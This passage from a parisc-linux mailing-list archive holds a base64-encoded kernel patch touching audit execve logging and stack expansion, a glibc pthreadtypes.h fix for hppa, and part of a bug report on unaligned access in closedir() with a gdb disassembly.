aXplKTsKIGV4dGVybiB2b2lkCQkgICAgYXVkaXRfbG9nX2xvc3QoY29uc3QgY2hhciAqbWVzc2Fn
ZSk7CiBleHRlcm4gdm9pZAkJICAgIGF1ZGl0X3BhbmljKGNvbnN0IGNoYXIgKm1lc3NhZ2UpOwor
ZXh0ZXJuIHZvaWQJCSAgICBhdWRpdF9raWxsKGNvbnN0IGNoYXIgKm1lc3NhZ2UpOwogCiBzdHJ1
Y3QgYXVkaXRfbmV0bGlua19saXN0IHsKIAlpbnQgcGlkOwpkaWZmIC0tZ2l0IGEva2VybmVsL2F1
ZGl0c2MuYyBiL2tlcm5lbC9hdWRpdHNjLmMKaW5kZXggYWU0MGFjOC4uMzA1ZDZlYSAxMDA2NDQK
LS0tIGEva2VybmVsL2F1ZGl0c2MuYworKysgYi9rZXJuZWwvYXVkaXRzYy5jCkBAIC0xNTEsNyAr
MTUxLDcgQEAgc3RydWN0IGF1ZGl0X2F1eF9kYXRhX2V4ZWN2ZSB7CiAJc3RydWN0IGF1ZGl0X2F1
eF9kYXRhCWQ7CiAJaW50IGFyZ2M7CiAJaW50IGVudmM7Ci0JY2hhciBtZW1bMF07CisJc3RydWN0
IG1tX3N0cnVjdCAqbW07CiB9OwogCiBzdHJ1Y3QgYXVkaXRfYXV4X2RhdGFfc29ja2V0Y2FsbCB7
CkBAIC03NDEsNiArNzQxLDQ4IEBAIHN0YXRpYyB2b2lkIGF1ZGl0X2xvZ190YXNrX2luZm8oc3Ry
dWN0IGF1ZGl0X2J1ZmZlciAqYWIsIHN0cnVjdCB0YXNrX3N0cnVjdCAqdHNrCiAJYXVkaXRfbG9n
X3Rhc2tfY29udGV4dChhYik7CiB9CiAKK3N0YXRpYyB2b2lkIGF1ZGl0X2xvZ19leGVjdmVfaW5m
byhzdHJ1Y3QgYXVkaXRfYnVmZmVyICphYiwKKwkJc3RydWN0IGF1ZGl0X2F1eF9kYXRhX2V4ZWN2
ZSAqYXhpKQoreworCWludCBpOworCWxvbmcgbGVuOworCWNvbnN0IGNoYXIgX191c2VyICpwID0g
KGNvbnN0IGNoYXIgX191c2VyICopYXhpLT5tbS0+YXJnX3N0YXJ0OworCisJaWYgKGF4aS0+bW0g
IT0gY3VycmVudC0+bW0pCisJCXJldHVybjsgLyogZXhlY3ZlIGZhaWxlZCwgbm8gYWRkaXRpb25h
bCBpbmZvICovCisKKwlmb3IgKGkgPSAwOyBpIDwgYXhpLT5hcmdjOyBpKyssIHAgKz0gbGVuKSB7
CisJCWxvbmcgcmV0OworCQljaGFyICp0bXA7CisKKwkJbGVuID0gc3Rybmxlbl91c2VyKHAsIE1B
WF9BUkdfU1RSTEVOKTsKKwkJLyoKKwkJICogV2UganVzdCBjcmVhdGVkIHRoaXMgbW0sIGlmIHdl
IGNhbid0IGZpbmQgdGhlIHN0cmluZ3MKKwkJICogd2UganVzdCBjb3BpZWQgaW4gc29tZXRoaW5n
IGlzIF92ZXJ5XyB3cm9uZy4KKwkJICovCisJCUJVR19PTighbGVuKTsKKworCQl0bXAgPSBrbWFs
bG9jKGxlbiwgR0ZQX0tFUk5FTCk7CisJCWlmICghdG1wKSB7CisJCQlhdWRpdF9raWxsKCJvdXQg
b2YgbWVtb3J5IGZvciBhcmd2IHN0cmluZywiCisJCQkJCSIgdGVybWluYXRpbmcgcHJvY2Vzc1xu
Iik7CisJCQlicmVhazsKKwkJfQorCisJCXJldCA9IGNvcHlfZnJvbV91c2VyKHRtcCwgcCwgbGVu
KTsKKwkJLyoKKwkJICogVGhlcmUgaXMgbm8gcmVhc29uIGZvciB0aGlzIGNvcHkgdG8gYmUgc2hv
cnQuCisJCSAqLworCQlCVUdfT04ocmV0KTsKKworCQlhdWRpdF9sb2dfZm9ybWF0KGFiLCAiYSVk
PSIsIGkpOworCQlhdWRpdF9sb2dfdW50cnVzdGVkc3RyaW5nKGFiLCB0bXApOworCQlhdWRpdF9s
b2dfZm9ybWF0KGFiLCAiXG4iKTsKKworCQlrZnJlZSh0bXApOworCX0KK30KKwogc3RhdGljIHZv
aWQgYXVkaXRfbG9nX2V4aXQoc3RydWN0IGF1ZGl0X2NvbnRleHQgKmNvbnRleHQsIHN0cnVjdCB0
YXNrX3N0cnVjdCAqdHNrKQogewogCWludCBpLCBjYWxsX3BhbmljID0gMDsKQEAgLTg2MiwxMyAr
OTA0LDcgQEAgc3RhdGljIHZvaWQgYXVkaXRfbG9nX2V4aXQoc3RydWN0IGF1ZGl0X2NvbnRleHQg
KmNvbnRleHQsIHN0cnVjdCB0YXNrX3N0cnVjdCAqdHMKIAogCQljYXNlIEFVRElUX0VYRUNWRTog
ewogCQkJc3RydWN0IGF1ZGl0X2F1eF9kYXRhX2V4ZWN2ZSAqYXhpID0gKHZvaWQgKilhdXg7Ci0J
CQlpbnQgaTsKLQkJCWNvbnN0IGNoYXIgKnA7Ci0JCQlmb3IgKGkgPSAwLCBwID0gYXhpLT5tZW07
IGkgPCBheGktPmFyZ2M7IGkrKykgewotCQkJCWF1ZGl0X2xvZ19mb3JtYXQoYWIsICJhJWQ9Iiwg
aSk7Ci0JCQkJcCA9IGF1ZGl0X2xvZ191bnRydXN0ZWRzdHJpbmcoYWIsIHApOwotCQkJCWF1ZGl0
X2xvZ19mb3JtYXQoYWIsICJcbiIpOwotCQkJfQorCQkJYXVkaXRfbG9nX2V4ZWN2ZV9pbmZvKGFi
LCBheGkpOwogCQkJYnJlYWs7IH0KIAogCQljYXNlIEFVRElUX1NPQ0tFVENBTEw6IHsKQEAgLTE2
MzUsMzIgKzE2NzEsMzEgQEAgaW50IF9fYXVkaXRfaXBjX3NldF9wZXJtKHVuc2lnbmVkIGxvbmcg
cWJ5dGVzLCB1aWRfdCB1aWQsIGdpZF90IGdpZCwgbW9kZV90IG1vZGUKIAlyZXR1cm4gMDsKIH0K
IAoraW50IGF1ZGl0X2FyZ3Zfa2IgPSAzMjsKKwogaW50IGF1ZGl0X2Jwcm0oc3RydWN0IGxpbnV4
X2JpbnBybSAqYnBybSkKIHsKIAlzdHJ1Y3QgYXVkaXRfYXV4X2RhdGFfZXhlY3ZlICpheDsKIAlz
dHJ1Y3QgYXVkaXRfY29udGV4dCAqY29udGV4dCA9IGN1cnJlbnQtPmF1ZGl0X2NvbnRleHQ7Ci0J
dW5zaWduZWQgbG9uZyBwLCBuZXh0OwotCXZvaWQgKnRvOwogCiAJaWYgKGxpa2VseSghYXVkaXRf
ZW5hYmxlZCB8fCAhY29udGV4dCkpCiAJCXJldHVybiAwOwogCi0JYXggPSBrbWFsbG9jKHNpemVv
ZigqYXgpICsgUEFHRV9TSVpFICogTUFYX0FSR19QQUdFUyAtIGJwcm0tPnAsCi0JCQkJR0ZQX0tF
Uk5FTCk7CisJLyoKKwkgKiBFdmVuIHRob3VnaCB0aGUgc3RhY2sgY29kZSBkb2Vzbid0IGxpbWl0
IHRoZSBhcmcrZW52IHNpemUgYW55IG1vcmUsCisJICogdGhlIGF1ZGl0IGNvZGUgcmVxdWlyZXMg
dGhhdCBfYWxsXyBhcmd1bWVudHMgYmUgbG9nZ2VkIGluIGEgc2luZ2xlCisJICogbmV0bGluayBz
a2IuIEhlbmNlIGNhcCBpdCA6LSgKKwkgKi8KKwlpZiAoYnBybS0+YXJndl9sZW4gPiAoYXVkaXRf
YXJndl9rYiA8PCAxMCkpCisJCXJldHVybiAtRTJCSUc7CisKKwlheCA9IGttYWxsb2Moc2l6ZW9m
KCpheCksIEdGUF9LRVJORUwpOwogCWlmICghYXgpCiAJCXJldHVybiAtRU5PTUVNOwogCiAJYXgt
PmFyZ2MgPSBicHJtLT5hcmdjOwogCWF4LT5lbnZjID0gYnBybS0+ZW52YzsKLQlmb3IgKHAgPSBi
cHJtLT5wLCB0byA9IGF4LT5tZW07IHAgPCBNQVhfQVJHX1BBR0VTKlBBR0VfU0laRTsgcCA9IG5l
eHQpIHsKLQkJc3RydWN0IHBhZ2UgKnBhZ2UgPSBicHJtLT5wYWdlW3AgLyBQQUdFX1NJWkVdOwot
CQl2b2lkICprYWRkciA9IGttYXAocGFnZSk7Ci0JCW5leHQgPSAocCArIFBBR0VfU0laRSkgJiB+
KFBBR0VfU0laRSAtIDEpOwotCQltZW1jcHkodG8sIGthZGRyICsgKHAgJiAoUEFHRV9TSVpFIC0g
MSkpLCBuZXh0IC0gcCk7Ci0JCXRvICs9IG5leHQgLSBwOwotCQlrdW5tYXAocGFnZSk7Ci0JfQot
CisJYXgtPm1tID0gYnBybS0+bW07CiAJYXgtPmQudHlwZSA9IEFVRElUX0VYRUNWRTsKIAlheC0+
ZC5uZXh0ID0gY29udGV4dC0+YXV4OwogCWNvbnRleHQtPmF1eCA9ICh2b2lkICopYXg7CmRpZmYg
LS1naXQgYS9rZXJuZWwvc3lzY3RsLmMgYi9rZXJuZWwvc3lzY3RsLmMKaW5kZXggMzYyYTBjYy4u
N2NmYTdmNyAxMDA2NDQKLS0tIGEva2VybmVsL3N5c2N0bC5jCisrKyBiL2tlcm5lbC9zeXNjdGwu
YwpAQCAtNzMsNiArNzMsNyBAQCBleHRlcm4gaW50IHBpZF9tYXhfbWluLCBwaWRfbWF4X21heDsK
IGV4dGVybiBpbnQgc3lzY3RsX2Ryb3BfY2FjaGVzOwogZXh0ZXJuIGludCBwZXJjcHVfcGFnZWxp
c3RfZnJhY3Rpb247CiBleHRlcm4gaW50IGNvbXBhdF9sb2c7CitleHRlcm4gaW50IGF1ZGl0X2Fy
Z3Zfa2I7CiAKICNpZiBkZWZpbmVkKENPTkZJR19YODZfTE9DQUxfQVBJQykgJiYgZGVmaW5lZChD
T05GSUdfWDg2KQogaW50IHVua25vd25fbm1pX3BhbmljOwpAQCAtNzAxLDYgKzcwMiwxNiBAQCBz
dGF0aWMgY3RsX3RhYmxlIGtlcm5fdGFibGVbXSA9IHsKIAkJLnByb2NfaGFuZGxlcgk9ICZwcm9j
X2RvaW50dmVjLAogCX0sCiAjZW5kaWYKKyNpZmRlZiBDT05GSUdfQVVESVRTWVNDQUxMCisJewor
CQkuY3RsX25hbWUJPSBLRVJOX0FVRElUX0FSR1YsCisJCS5wcm9jbmFtZQk9ICJhdWRpdF9hcmd2
X2tiIiwKKwkJLmRhdGEJCT0gJmF1ZGl0X2FyZ3Zfa2IsCisJCS5tYXhsZW4JCT0gc2l6ZW9mKGlu
dCksCisJCS5tb2RlCQk9IDA2NDQsCisJCS5wcm9jX2hhbmRsZXIJPSAmcHJvY19kb2ludHZlYywK
Kwl9LAorI2VuZGlmCiAKIAl7IC5jdGxfbmFtZSA9IDAgfQogfTsKZGlmZiAtLWdpdCBhL21tL21t
YXAuYyBiL21tL21tYXAuYwppbmRleCBjMTg2OGVjLi5hNTUxZTViIDEwMDY0NAotLS0gYS9tbS9t
bWFwLmMKKysrIGIvbW0vbW1hcC5jCkBAIC0xNTQ3LDMzICsxNTQ3LDEzIEBAIGludCBleHBhbmRf
dXB3YXJkcyhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyBhZGRyZXNz
KQogfQogI2VuZGlmIC8qIENPTkZJR19TVEFDS19HUk9XU1VQIHx8IENPTkZJR19JQTY0ICovCiAK
LSNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAotaW50IGV4cGFuZF9zdGFjayhzdHJ1Y3Qgdm1f
YXJlYV9zdHJ1Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyBhZGRyZXNzKQotewotCXJldHVybiBleHBh
bmRfdXB3YXJkcyh2bWEsIGFkZHJlc3MpOwotfQotCi1zdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKgot
ZmluZF9leHRlbmRfdm1hKHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLCB1bnNpZ25lZCBsb25nIGFkZHIp
Ci17Ci0Jc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsICpwcmV2OwotCi0JYWRkciAmPSBQQUdF
X01BU0s7Ci0Jdm1hID0gZmluZF92bWFfcHJldihtbSwgYWRkciwgJnByZXYpOwotCWlmICh2bWEg
JiYgKHZtYS0+dm1fc3RhcnQgPD0gYWRkcikpCi0JCXJldHVybiB2bWE7Ci0JaWYgKCFwcmV2IHx8
IGV4cGFuZF9zdGFjayhwcmV2LCBhZGRyKSkKLQkJcmV0dXJuIE5VTEw7Ci0JaWYgKHByZXYtPnZt
X2ZsYWdzICYgVk1fTE9DS0VEKSB7Ci0JCW1ha2VfcGFnZXNfcHJlc2VudChhZGRyLCBwcmV2LT52
bV9lbmQpOwotCX0KLQlyZXR1cm4gcHJldjsKLX0KLSNlbHNlCiAvKgogICogdm1hIGlzIHRoZSBm
aXJzdCBvbmUgd2l0aCBhZGRyZXNzIDwgdm1hLT52bV9zdGFydC4gIEhhdmUgdG8gZXh0ZW5kIHZt
YS4KICAqLwotaW50IGV4cGFuZF9zdGFjayhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgdW5z
aWduZWQgbG9uZyBhZGRyZXNzKQorI2lmbmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAorc3RhdGlj
IGlubGluZQorI2VuZGlmCitpbnQgZXhwYW5kX2Rvd253YXJkcyhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1
Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyBhZGRyZXNzKQogewogCWludCBlcnJvcjsKIApAQCAtMTYx
MCw2ICsxNTkwLDM0IEBAIGludCBleHBhbmRfc3RhY2soc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2
bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcykKIAlyZXR1cm4gZXJyb3I7CiB9CiAKKyNpZmRlZiBD
T05GSUdfU1RBQ0tfR1JPV1NVUAoraW50IGV4cGFuZF9zdGFjayhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1
Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyBhZGRyZXNzKQoreworCXJldHVybiBleHBhbmRfdXB3YXJk
cyh2bWEsIGFkZHJlc3MpOworfQorCitzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKgorZmluZF9leHRl
bmRfdm1hKHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLCB1bnNpZ25lZCBsb25nIGFkZHIpCit7CisJc3Ry
dWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsICpwcmV2OworCisJYWRkciAmPSBQQUdFX01BU0s7CisJ
dm1hID0gZmluZF92bWFfcHJldihtbSwgYWRkciwgJnByZXYpOworCWlmICh2bWEgJiYgKHZtYS0+
dm1fc3RhcnQgPD0gYWRkcikpCisJCXJldHVybiB2bWE7CisJaWYgKCFwcmV2IHx8IGV4cGFuZF9z
dGFjayhwcmV2LCBhZGRyKSkKKwkJcmV0dXJuIE5VTEw7CisJaWYgKHByZXYtPnZtX2ZsYWdzICYg
Vk1fTE9DS0VEKSB7CisJCW1ha2VfcGFnZXNfcHJlc2VudChhZGRyLCBwcmV2LT52bV9lbmQpOwor
CX0KKwlyZXR1cm4gcHJldjsKK30KKyNlbHNlCitpbnQgZXhwYW5kX3N0YWNrKHN0cnVjdCB2bV9h
cmVhX3N0cnVjdCAqdm1hLCB1bnNpZ25lZCBsb25nIGFkZHJlc3MpCit7CisJcmV0dXJuIGV4cGFu
ZF9kb3dud2FyZHModm1hLCBhZGRyZXNzKTsKK30KKwogc3RydWN0IHZtX2FyZWFfc3RydWN0ICoK
IGZpbmRfZXh0ZW5kX3ZtYShzdHJ1Y3QgbW1fc3RydWN0ICogbW0sIHVuc2lnbmVkIGxvbmcgYWRk
cikKIHsKZGlmZiAtLWdpdCBhL21tL21wcm90ZWN0LmMgYi9tbS9tcHJvdGVjdC5jCmluZGV4IDYz
OGVkYWIuLjY0ZDRmM2YgMTAwNjQ0Ci0tLSBhL21tL21wcm90ZWN0LmMKKysrIGIvbW0vbXByb3Rl
Y3QuYwpAQCAtMTE1LDcgKzExNSw3IEBAIHN0YXRpYyB2b2lkIGNoYW5nZV9wcm90ZWN0aW9uKHN0
cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAogCWZsdXNoX3RsYl9yYW5nZSh2bWEsIHN0YXJ0LCBl
bmQpOwogfQogCi1zdGF0aWMgaW50CitpbnQKIG1wcm90ZWN0X2ZpeHVwKHN0cnVjdCB2bV9hcmVh
X3N0cnVjdCAqdm1hLCBzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKipwcHJldiwKIAl1bnNpZ25lZCBs
b25nIHN0YXJ0LCB1bnNpZ25lZCBsb25nIGVuZCwgdW5zaWduZWQgbG9uZyBuZXdmbGFncykKIHsK
ZGlmZiAtLWdpdCBhL21tL21yZW1hcC5jIGIvbW0vbXJlbWFwLmMKaW5kZXggN2MxNWNmMy4uMjNj
ZjIyMyAxMDA2NDQKLS0tIGEvbW0vbXJlbWFwLmMKKysrIGIvbW0vbXJlbWFwLmMKQEAgLTExOSw3
ICsxMTksNyBAQCBzdGF0aWMgdm9pZCBtb3ZlX3B0ZXMoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2
bWEsIHBtZF90ICpvbGRfcG1kLAogCiAjZGVmaW5lIExBVEVOQ1lfTElNSVQJKDY0ICogUEFHRV9T
SVpFKQogCi1zdGF0aWMgdW5zaWduZWQgbG9uZyBtb3ZlX3BhZ2VfdGFibGVzKHN0cnVjdCB2bV9h
cmVhX3N0cnVjdCAqdm1hLAordW5zaWduZWQgbG9uZyBtb3ZlX3BhZ2VfdGFibGVzKHN0cnVjdCB2
bV9hcmVhX3N0cnVjdCAqdm1hLAogCQl1bnNpZ25lZCBsb25nIG9sZF9hZGRyLCBzdHJ1Y3Qgdm1f
YXJlYV9zdHJ1Y3QgKm5ld192bWEsCiAJCXVuc2lnbmVkIGxvbmcgbmV3X2FkZHIsIHVuc2lnbmVk
IGxvbmcgbGVuKQogewo=
------=_Part_185071_12665247.1177958661717
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
------=_Part_185071_12665247.1177958661717--



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] [HPPA] fix bits/pthreadtypes.h
Date: Tue, 1 May 2007 21:28:27 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20070501192826.GA4309__36538.2532276728$1416624345$gmane$org@amd64.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624345 23661 80.91.229.3 (22 Nov 2014 02:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 libc-ports@sourceware.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2007 19:28:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 01 May 2007 21:28:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0F4A7D9C4;
	Tue,  1 May 2007 13:28:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25596-03; Tue, 1 May 2007 13:28:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2444F7D8B7;
	Tue,  1 May 2007 13:28:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEE197D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 13:28:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25175-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 1 May 2007 13:28:30 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 04C3D7D62B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 13:28:30 -0600 (MDT)
Original-Received: from amd64.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:1009])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@amd64.aurel32.net>)
	id 1Hiy1T-0002oU-L2; Tue, 01 May 2007 21:28:27 +0200
Original-Received: from aurel32 by amd64.aurel32.net with local (Exim 4.67)
	(envelope-from <aurel32@amd64.aurel32.net>)
	id 1Hiy1T-000185-BE; Tue, 01 May 2007 21:28:27 +0200
Content-Disposition: inline
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 26wBdw8UYmYSuunCanc3tOpKWkZTQVTM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24501

Hi all,

On hppa using linuxthreads + TLS, bits/pthreadtypes.h is out of date 
compare to the generic linuxthreads file. This makes pthread.h unusable.

Please find below a patch to fix that.

Bye,
Aurelien

--- libc/ports/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtypes.h	2007-05-01 21:15:38.000000000 +020
+++ libc/ports/sysdeps/unix/sysv/linux/hppa/linuxthreads/bits/pthreadtypes.h	2007-05-01 21:16:03.000000000 +0200
@@ -134,7 +134,7 @@
 } pthread_rwlockattr_t;
 #endif
 
-#ifdef __USE_XOPEN2K
+#if defined __USE_UNIX98 || defined __USE_XOPEN2K
 /* POSIX spinlock data type.  */
 typedef __atomic_lock_t pthread_spinlock_t;
 
-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Tue, 1 May 2007 21:42:14 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20070501194214.GB4309__23996.6954956346$1416624345$gmane$org@amd64.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624345 23663 80.91.229.3 (22 Nov 2014 02:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2007 19:42:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx099) with SMTP; 01 May 2007 21:42:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 931627DA7D;
	Tue,  1 May 2007 13:42:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25596-10; Tue, 1 May 2007 13:42:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 759287DA7F;
	Tue,  1 May 2007 13:42:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B950D7D9C4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 13:42:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25631-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 1 May 2007 13:42:16 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 8C9C87D957
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 13:42:15 -0600 (MDT)
Original-Received: from amd64.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:1009])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@amd64.aurel32.net>)
	id 1HiyEo-0002to-UV
	for parisc-linux@lists.parisc-linux.org; Tue, 01 May 2007 21:42:14 +0200
Original-Received: from aurel32 by amd64.aurel32.net with local (Exim 4.67)
	(envelope-from <aurel32@amd64.aurel32.net>) id 1HiyEo-00018d-MK
	for parisc-linux@lists.parisc-linux.org; Tue, 01 May 2007 21:42:14 +0200
Content-Disposition: inline
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RuleKUwfMydyuIigZWplR4traGRhZhod
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24502

Hi all,

We have just switched to a glibc 2.5 using LT + TLS in Debian. This
causes unaligned memory access when using bash:

bash(19279): unaligned access to 0x000e1bb2 at ip=0x407cb76b

Using prctl to trap on aligned access and gdb, the unaligned access
seems to be in closedir() (a glibc function), at the point marked by
a '*'.
   
   0x40bcb718 <closedir+0>:        stw rp,-14(sp)
   0x40bcb71c <closedir+4>:        stw,ma r5,40(sp)
   0x40bcb720 <closedir+8>:        stw r4,-3c(sp)
   0x40bcb724 <closedir+12>:       stw r3,-38(sp)
   0x40bcb728 <closedir+16>:       movb,= r26,r3,0x40bcb7a8 <closedir+144>
   0x40bcb72c <closedir+20>:       stw r19,-20(sp)
